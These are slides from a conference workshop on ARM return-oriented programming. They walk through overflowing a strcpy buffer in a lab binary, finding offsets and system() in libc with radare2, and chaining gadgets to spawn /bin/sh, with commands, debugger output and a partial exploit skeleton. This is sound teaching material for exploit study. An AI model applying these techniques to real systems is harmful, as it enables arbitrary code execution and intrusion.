ARM ROP Exploiting Intro

Version: β



Dimitrios Slamaris → dimi

work: Incident Responder @ Bosch Product Security Incident Response Team


Come by at our assembly (narwals),
talk to me during the conference,
message me at twitter @dim0x69




What are we going to do?
  1. A short recap on Stack Overflows, DEP
  2. investigate the crash.
  3. Exploiting the crash using Return Oriented Programming and using radare2
  4. Then everybody is going to build their own exploit

→ I will sometimes switch to to the console to show things.
Everything I do is in the slides for reference.

Stack Overflow Recap

⏩ Fast-Forward Stack Overflow Theory
→ local variable buffer[200] on stack
→ stored LR on stack
→ stack based buffer overflow, overwriting buffer[200] into stored PC
→ Epilogue is executed: we control program flow through restored LR (into PC)
What is DEP?
  • separation of code and data
  • NX (no-execute) bit per page
  • per page: execute ⊻ write
  • DEP (Data Execution Prevention), Intel: XD bit (execute disable), AMD: EVP (Enhanced Virus Protection), ARM: XN (execute never) bit
→ ASLR is disabled!
What is Return Oriented Programming?
  1. hijacking program flow
  2. use machine instructions ("gadgets") already present in RX memory
  3. chain instruction to achieve $goal

Examine the Target

Investigating the crash - Finding Offsets
Create a de Bruijn pattern and start radare2:
export BRUIJN=`ragg2 -r -P 250`
radare2 -d system $BRUIJN
> dc
take a look at the registers, stack:
 "dr" - display registers
"xw @SP" - examine word @ stack pointer 
caculate offsets - beware of the ARM Thumb Mode Switch:
 ragg2 -q 0x49424148 -  Offset PC: 204
 ragg2 -q 0x414a4241 - Offset SP: 208
some useful radare2 commands:
aa - analyze binary
ood `env BRUIJN` - reopen in debugger mode
db  sym.overflow - set breakpoint at sym.overflow
db- sym.overflow - remove breakpoint at sym.overflow
ds 1 - 1 step
examine overflow()

[0x004005a4]> pdf @ sym.overflow
|           ;-- $a:
/ (fcn) sym.overflow 60
|   sym.overflow ();
|           ; CALL XREF from sym.main (0x400610)
|           0x004005a4      push {fp, lr}
|           0x004005a8      add fp, sp, 4
|           0x004005ac      sub sp, sp, 0xd0
|           0x004005b0      str r0, [fp, -0xd0]
|           0x004005b4      sub r3, fp, 0xcc
|           0x004005b8      ldr r1, [fp, -0xd0]
|           0x004005bc      mov r0, r3
|           0x004005c0      bl sym.imp.strcpy
|           0x004005c4      sub r3, fp, 0xcc
|           0x004005c8      mov r0, r3
|           0x004005cc      bl sym.imp.puts
|           0x004005d0      mov r3, 0
|           0x004005d4      mov r0, r3
|           0x004005d8      sub sp, fp, 4
\           0x004005dc b    pop {fp, pc}
char *strcpy(char *dest, const char *src);
→ We gained control over the program flow!
system() #2
ARM Procedure Call Standard:
system() is defined in libc:
int system(const char *command);

→ we need to find the virtual address of system() in memory
Collecting Information
Finding system() offset:

[0xb6fceb80]> aa
[x] Analyze all flags starting with sym. and entry0 (aa)
[0xb6fceb80]> db sym.main
[0xb6fceb80]> dc
hit breakpoint at: 4005e0
[0x004005e0]> dmi |grep libc
0xb6e83000 /usr/lib/
[0x004005e0]> dmi /usr/lib/ |grep system
1247 0x0003863c 0xb6ebb63c  LOCAL NOTYPE    0 system
12468 0x0003863c 0xb6ebb63c GLOBAL   FUNC   44 system
system() offset is: 0x0003863c
libc virtual address is: 0xb6e83000

Return Oriented Programming

Goal: execute system("/bin/sh;#") using a very simple ROP chain
What are Gadgets?
  • Machine instruction sequences that are already present in the memory
  • Gadgets always allow to further control the execution flow
  • Leaf functions do not need to store LR on the stack, they use insted BX LR. → point LR to POP {PC}
    • What happens if we overflow a leaf function?
int leaf(int a){
        return a+5;
int nonleaf(int a){
        return leaf(a+2);
Simple ROP chain - theory
→ stored LR is overwritten with address of gadget 1, epilogue is executed. Next: gadget 1
→ gadget 1 is executed. Next: gadget 2
0x00018120: pop {r4, pc};
→ gadget 2 is executed.
0x0002cf6c: ldr r0, [sp, #4]; blx r4;
→ Next: system("bin/sh;#") is executed!
Bring all together
During the last n minutes we found the following values, we now need:
  • Offset where the popped LR is
  • address of libc in memory
  • offset of system within libc
  • Fill with found information (copy of
    overflow =  [
            data(0x0E0E0E0E, 'PC'),
Bringing it together #2
set up a rarun2 profile:
130 root@armbox ~ # cat system.rarun2                                                                  :(
arg1=!python --plain
run r2 with rarun2 profile:
r2 -r system.rarun2
reopen the profile, executing the rarun2 profile:
[0x00000428] oodr
What you should see now:
[0xb6fceb80]> dc
[0x0e0e0e0e]> dr PC
[0x0e0e0e0e]> xw 12 @SP
0xbefff168  0x6e69622f 0x3b68732f 0xeb857523             /bin/sh;#u..
Remember the Goal:
execute system("/bin/sh;#")
we found the virtual address of system() in memory

→ Next: find gadgets to prepare R0 with a pointer to "/bin/sh;#".

Start Hacking

  1. You can use the offset values we found during the presentation or refind them yourself
  2. Use ropper to find gadgets!
    • You can find some notes and a short asciinema here
  3. Add one gadget at a time to Examine registers, stack in radare2 after each gadget.